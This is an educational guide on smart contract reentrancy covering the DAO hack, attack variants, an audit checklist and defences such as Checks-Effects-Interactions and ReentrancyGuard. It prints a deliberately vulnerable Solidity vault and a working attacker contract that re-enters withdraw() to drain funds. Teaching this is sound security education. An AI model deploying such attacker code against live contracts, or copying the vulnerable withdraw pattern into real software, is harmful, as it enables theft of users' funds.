Reentrancy

Smart Contract Reentrancy Attacks: Detection, Exploitation, and Prevention

Reentrancy is the classic smart contract vulnerability for a reason: it teaches one of the most important audit lessons in Web3 security.

Every external call is a control-flow handoff. If a contract sends execution to an untrusted address before finalizing balances, shares, debt, rewards, or other accounting state, the attacker may be able to re-enter the system while it still believes the old state is true.

This guide breaks down how reentrancy works, why the DAO hack changed Ethereum, how modern variants such as cross-function and read-only reentrancy appear in DeFi, and how auditors should test for them in real code.

What is a reentrancy attack in smart contracts?

A reentrancy attack happens when a smart contract makes an external call to an untrusted address before updating relevant internal state, such as a user's balance.

If the recipient is a malicious contract, it can call back into the vulnerable contract while the old state is still visible. Repeated calls may pass the same checks and withdraw more than the attacker's recorded balance.

Reentrancy Attack vs Reentrancy Vulnerability

A reentrancy vulnerability is the unsafe design: the contract exposes stale state during an external call. A reentrancy attack is the exploit path that uses that stale state to withdraw, mint, borrow, vote, liquidate, or otherwise change protocol accounting more than once.

This distinction matters in audits. A function can look safe in isolation but become vulnerable when a token hook, callback, router, vault, bridge adapter, or another protocol contract can call back into the system before all effects are finalized.

The Bank Teller Analogy (Explained Simply)

Imagine walking into a bank. You want to withdraw $1,000.

The bank teller hands you $1,000 in cash before updating the account ledger. If you could request another withdrawal before the ledger changed, the old balance would pass the same check again.

Repeated withdrawals could empty the bank before the first ledger update. A reentrancy attack exploits the equivalent ordering error in contract code.

{
  "title": "🎬 Reentrancy: watch the vault drain",
  "stage": {
    "width": 920,
    "height": 440
  },
  "nodes": [
    {
      "id": "attacker",
      "label": "Attacker EOA",
      "role": "deploys + triggers",
      "emoji": "🧑‍💻",
      "x": 50,
      "y": 50,
      "color": "red"
    },
    {
      "id": "vault",
      "label": "The Vault",
      "role": "holds pooled ETH",
      "emoji": "🏦",
      "x": 620,
      "y": 50,
      "color": "cyan"
    },
    {
      "id": "evil",
      "label": "Attacker Contract",
      "role": "receive() re-enters",
      "emoji": "📜",
      "x": 335,
      "y": 320,
      "color": "purple"
    }
  ],
  "links": [
    {
      "from": "attacker",
      "to": "vault"
    },
    {
      "from": "vault",
      "to": "evil"
    },
    {
      "from": "evil",
      "to": "vault"
    },
    {
      "from": "attacker",
      "to": "evil"
    }
  ],
  "nets": [
    {
      "id": "vault",
      "label": "Vault Net"
    },
    {
      "id": "atk",
      "label": "Attacker Net"
    }
  ],
  "legend": [
    {
      "cls": "call",
      "label": "contract call"
    },
    {
      "cls": "token",
      "label": "ETH transfer"
    },
    {
      "cls": "sig",
      "label": "state write"
    },
    {
      "cls": "fail",
      "label": "reverted / blocked"
    }
  ],
  "scenarios": {
    "Vulnerable": [
      {
        "note": "Attacker deposits 1 ETH. The vault pools <b>3 ETH</b> across its users; the attacker's contract holds nothing yet.",
        "hi": [
          "vault"
        ],
        "bal": {
          "vault": "3 ETH",
          "evil": "0 ETH",
          "attacker": "-"
        },
        "net": {
          "vault": "$0",
          "atk": "$0"
        }
      },
      {
        "note": "The attacker's contract calls <b>withdraw()</b> on the vault.",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "📞 withdraw()",
          "cls": "call"
        }
      },
      {
        "note": "The vault sends <b>1 ETH</b> to the contract <b>before</b> zeroing its balance. The re-entry window is now open.",
        "tone": "bad",
        "hi": [
          "vault",
          "evil"
        ],
        "chip": {
          "from": "vault",
          "to": "evil",
          "label": "💸 1 ETH",
          "cls": "token"
        },
        "bal": {
          "vault": "2 ETH",
          "evil": "1 ETH"
        },
        "net": {
          "vault": "-1 ETH",
          "atk": "+1 ETH"
        }
      },
      {
        "note": "The contract's <b>receive()</b> fires mid-transfer and calls <b>withdraw() again</b> - the stale balance still shows funds.",
        "tone": "bad",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "🔄 withdraw()",
          "cls": "call"
        }
      },
      {
        "note": "The vault pays <b>again</b>. The loop repeats, draining the entire pool a slice at a time.",
        "tone": "bad",
        "hi": [
          "vault",
          "evil"
        ],
        "chip": {
          "from": "vault",
          "to": "evil",
          "label": "💸 1 ETH",
          "cls": "token"
        },
        "bal": {
          "vault": "0 ETH",
          "evil": "3 ETH"
        },
        "net": {
          "vault": "-3 ETH",
          "atk": "+3 ETH"
        }
      },
      {
        "note": "State finally updates - too late. The vault is <b>empty</b>; the attacker drained <b>3 ETH</b> on a 1 ETH balance.",
        "tone": "bad",
        "hi": [
          "vault",
          "evil"
        ],
        "bal": {
          "vault": "0 ETH",
          "evil": "3 ETH"
        },
        "net": {
          "vault": "-3 ETH",
          "atk": "+3 ETH"
        }
      }
    ],
    "Fixed (CEI)": [
      {
        "note": "Same start: the vault pools <b>3 ETH</b> and the attacker holds a 1 ETH balance.",
        "hi": [
          "vault"
        ],
        "bal": {
          "vault": "3 ETH",
          "evil": "0 ETH",
          "attacker": "-"
        },
        "net": {
          "vault": "$0",
          "atk": "$0"
        }
      },
      {
        "note": "The attacker's contract calls <b>withdraw()</b>.",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "📞 withdraw()",
          "cls": "call"
        }
      },
      {
        "note": "The vault zeroes the balance <b>first</b> (Checks-Effects-Interactions), then sends.",
        "tone": "ok",
        "hi": [
          "vault"
        ],
        "chip": {
          "from": "vault",
          "to": "vault",
          "label": "✍️ balance = 0",
          "cls": "sig"
        },
        "bal": {
          "vault": "3 ETH"
        }
      },
      {
        "note": "The vault sends the legitimate <b>1 ETH</b> only after its state is already correct.",
        "tone": "ok",
        "hi": [
          "vault",
          "evil"
        ],
        "chip": {
          "from": "vault",
          "to": "evil",
          "label": "💸 1 ETH",
          "cls": "token"
        },
        "bal": {
          "vault": "2 ETH",
          "evil": "1 ETH"
        },
        "net": {
          "vault": "-1 ETH",
          "atk": "+1 ETH"
        }
      },
      {
        "note": "<b>receive()</b> re-enters - but the balance is already 0, so the call <b>reverts</b>. The loop dies.",
        "tone": "ok",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "⛔ withdraw() ✗",
          "cls": "fail"
        },
        "bal": {
          "vault": "2 ETH",
          "evil": "1 ETH"
        },
        "net": {
          "vault": "-1 ETH",
          "atk": "+1 ETH"
        }
      }
    ]
  }
}

Watch: Reentrancy Attack Explained

Why Reentrancy Still Matters

Reentrancy vulnerabilities have caused significant losses and protocol failures:

Nearly a decade after The DAO, reentrancy still ranks in the top 5 smart contract vulnerability classes reported in 2025.

Types of Reentrancy

Beyond these three types, read-only reentrancy matters in DeFi protocols because a view function can return stale data during an ongoing state transition. Token standards with callback hooks, including ERC-777 (tokensReceived) and ERC-1155 (onERC1155Received), also introduce reentrancy paths during transfers.

What Auditors Should Review for Reentrancy Risk

Before marking a protocol safe from reentrancy, do not stop at "it has nonReentrant". Work through the full call graph:

• Map every external interaction: ETH transfers, ERC20 transfers, ERC721/ERC1155 safe transfers, ERC777 hooks, callbacks, low-level calls, and arbitrary target calls.

• Check state-update order. Balances, shares, debt, reward indexes, collateral flags, and nonce/accounting fields should be updated before control leaves the contract.

• Look for shared state across functions. A guard on withdraw() does not protect claimRewards(), borrow(), or liquidate() if they read the same stale accounting.

• Trace cross-contract flows. Reentrancy can enter through another contract in the same protocol, especially routers, vaults, strategies, hooks, or token adapters.

• Test read-only reentrancy. View functions used by other protocols should not expose temporarily inconsistent prices, share values, or reserves during state transitions.

• Review token standards with callbacks. ERC777, ERC721 safe transfers, ERC1155 safe transfers, and custom hooks can all hand execution back to attacker-controlled code.

• Verify emergency controls. Pausing, withdrawal caps, and circuit breakers should still work if an attacker reaches an unexpected callback path.

If a finding depends on temporarily stale balances or share prices, also review the related oracle manipulation and flash loan attack patterns because DeFi exploits often chain these assumptions together. For privileged pause, upgrade, and emergency-response paths, review access control attacks as well.

The DAO Hack

The DAO hack exposed a reentrancy flaw that led to the diversion of roughly $60 million in ETH and contributed to Ethereum's 2016 hard fork. It remains an important case because the technical exploit and the response both shaped smart contract security practice.

The DAO: what it was

Launched in April 2016, The DAO was a blockchain-based investment fund governed by token holders.

At the time:

• Over $150 million raised in ETH

• Held 14% of all ether in circulation

• Backed by 11,000+ investors

• One of the largest crowdfunding campaigns at the time

Investors received DAO tokens, voted on funding proposals, and shared returns. The system relied on contract code and token-holder governance rather than centralized management.

The Attack: June 17, 2016

On June 17, 2016, an attacker exploited the withdrawal logic.

The attacker used a reentrancy vulnerability in The DAO's withdrawal function to divert 3.6 million ETH (roughly $50-60 million at the time) into a child DAO under their control.

Several security researchers warned about recursive-call vulnerabilities before the exploit, but the required fixes were not deployed in time.

The attacker did not bypass the EVM's rules. The vulnerable contract executed its withdrawal logic as written, which intensified the debate about how the community should respond.

In an ecosystem where "code is law" was a common principle, the incident raised a difficult question: should the network preserve the original execution or intervene to return funds?

The Great Ethereum Split

The Ethereum community considered two broad options:

Option A: preserve the original chain history and accept the loss as a consequence of immutability.

Option B: change the protocol state through a hard fork so affected users could recover funds.

After extensive debate, the community adopted a hard fork that moved the diverted funds into a recovery contract. The network officially forked on July 20, 2016, at block 1,920,000.

Participants who rejected the fork continued operating the original chain, now known as Ethereum Classic (ETC).

The incident divided the community and made protocol governance, immutability, and emergency response central security concerns.

How Reentrancy Attacks Actually Work (Step-by-Step)

The sequence below shows where the vulnerable contract exposes stale state.

The Attack Flow

The Attack Phases

Reentrancy Vulnerable Code Example

Let's examine the classic vulnerability that enabled The DAO hack.

This contract is intentionally vulnerable. Never use this pattern in production.

The Vulnerable Withdraw Function

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No funds to withdraw");

        // VULNERABILITY: External call BEFORE state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update happens too late!
        balances[msg.sender] = 0;
    }
}

Why is this vulnerable?

The problem is the order of operations:

1. External call happens first (.call{value: amount}(""))

2. Balance still shows funds available during the call

3. No reentrancy guard

4. Violates Checks-Effects-Interactions pattern

The attacker can call withdraw() again before line 15 (balances[msg.sender] = 0) ever executes.

Reentrancy Attacker Contract Example

Here's how an attacker exploits the vulnerable vault.

// ATTACKER CONTRACT - Educational purposes only
contract ReentrancyAttacker {
    VulnerableVault public vault;
    uint256 public attackIterations;

    constructor(address _vaultAddress) {
        vault = VulnerableVault(_vaultAddress);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");

        // Step 1: Deposit to establish a balance
        vault.deposit{value: 1 ether}();

        // Step 2: Trigger the first withdrawal
        vault.withdraw();
    }

    // This is called automatically when receiving ETH
    receive() external payable {
        attackIterations++;

        // If vault still has funds, call withdraw again
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();  // Re-enter!
        }
    }

    function collectStolenFunds() public {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Attack Execution Summary

1. Deposit 1 ETH to the vulnerable vault

2. Call withdraw() to start the attack

3. Receive ETH, triggering receive() function

4. Re-enter by calling withdraw() again immediately

5. Repeat until vault is drained

In a real attack the loop keeps running past the attacker's own deposit and takes every ETH the contract holds.

How to Prevent Reentrancy Attacks: Best Practices

Preventing reentrancy requires correct state-update order, explicit guards, and review of the full call graph.

1. The Checks-Effects-Interactions Pattern

This pattern places state changes before external interactions.

Always follow this order:

By updating state before making external calls, even if an attacker re-enters, the state already reflects the completed transaction.

2. Reentrancy Guard (Mutex Lock)

Implement a mutex lock that prevents recursive calls. OpenZeppelin's ReentrancyGuard is the industry standard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    function withdraw() public nonReentrant {
        // Your withdrawal logic here
    }
}

How it works:

• Sets locked = true at function entry

• Reverts if called while already locked

• Sets locked = false after completion

Simple but highly effective.

3. Use Safe Transfer Functions

Instead of low-level .call():

• OpenZeppelin's Address.sendValue() - Safer ETH transfers

• SafeERC20 - Prevents reentrancy in token transfers

• Pull over push - Let users withdraw rather than pushing funds

4. Limit Gas Forwarded

When using .call(), limit the gas:

// Only 2300 gas - not enough for reentrancy
(bool success, ) = msg.sender.call{value: amount, gas: 2300}("");

Warning: This is a weak defense - gas costs can change in network upgrades. Always combine with other protections.

5. Security Audits

• Professional audits from firms like Trail of Bits, OpenZeppelin

• Bug bounties to incentivize white-hat hackers

• Formal verification for mathematical proofs of safety

• Continuous monitoring post-launch

Prevention Effectiveness Comparison

Reentrancy Secure Code Example

The following example combines Checks-Effects-Interactions with OpenZeppelin's ReentrancyGuard.

// SECURE CONTRACT - Example with CEI and ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdrawal(address indexed user, uint256 amount);

    function deposit() public payable {
        require(msg.value > 0, "Must deposit more than 0");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];

        // STEP 1: CHECKS
        require(amount > 0, "Insufficient balance");
        require(address(this).balance >= amount, "Contract insufficient funds");

        // STEP 2: EFFECTS - Update state BEFORE external call
        balances[msg.sender] = 0;

        // STEP 3: INTERACTIONS - External call last
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        emit Withdrawal(msg.sender, amount);
    }
}

Security Features at a Glance

Zeroing the balance before the external call is exactly the line The DAO's withdrawal function was missing in 2016.

Types of Reentrancy Attacks Beyond the Basics

As DeFi protocols become more complex, so do attack vectors.

1. Cross-Function Reentrancy

An attacker calls a different function during the reentrant call:

• Initial call to withdraw()

• Re-enters through transfer() before state updates

• Both functions share the same vulnerable state

2. Cross-Contract Reentrancy

The attack spans multiple interconnected contracts:

• Contract A calls Contract B

• Contract B calls back into Contract A

• Shared state across contracts creates vulnerability

3. Read-Only Reentrancy

Even view functions can be exploited:

• Attacker re-enters a view function during state transition

• View function returns stale/inconsistent data

• Other contracts make decisions based on wrong information

4. ERC-777 and ERC-1155 Reentrancy

Token standards with callback hooks create new vectors:

• tokensReceived hook in ERC-777

• onERC1155Received hook in ERC-1155

• Both can trigger reentrant calls during transfers

Comparing Defense Mechanisms

Common Misconceptions

Related Vulnerabilities

Reentrancy can be combined with other exploit techniques. Flash loan attacks can provide temporary capital for an exploit path that depends on protocol accounting or collateral state. The bZx incidents combined borrowed liquidity with callback and accounting weaknesses.

Reentrancy is also related to call attacks and delegatecall vulnerabilities. Reentrancy uses callbacks to observe stale state, while delegatecall vulnerabilities arise from executing external code in the caller's context. Both require careful review of where control leaves the contract.

Frequently Asked Questions About Reentrancy Attacks

Quick Reference: Reentrancy Prevention Checklist

Before deploying any contract that handles value transfers:

• Follow Checks-Effects-Interactions in every function with external calls

• Use ReentrancyGuard on all payable and state-changing functions

• Update state BEFORE external calls - this single rule prevents most attacks

• Prefer pull over push - let users withdraw rather than pushing funds

• Get professional audits before mainnet deployment

• Monitor deployed contracts for suspicious activity

• Implement emergency pause to respond to vulnerabilities

• Test reentrancy scenarios in your test suite

Practice the Exploit Path

Reading about reentrancy gives you the pattern. Exploiting it in a lab gives you the instinct.

A good auditor should be able to:

• identify the external call,

• find the stale state assumption,

• write the attacker contract,

• prove the drain or invariant break,

• verify that the fix blocks the same path.

Common reentrancy variants are preventable with disciplined design, but complex DeFi variants require full call-graph review. Checks-Effects-Interactions and ReentrancyGuard are starting points, not substitutes for understanding the protocol's state model.

The Smart Contract Hacking course includes hands-on reentrancy exercises along with flash loans, oracle manipulation, access control, and other audit-critical vulnerability classes.

If you want to see how the training works first, start with the free lesson or browse the course curriculum.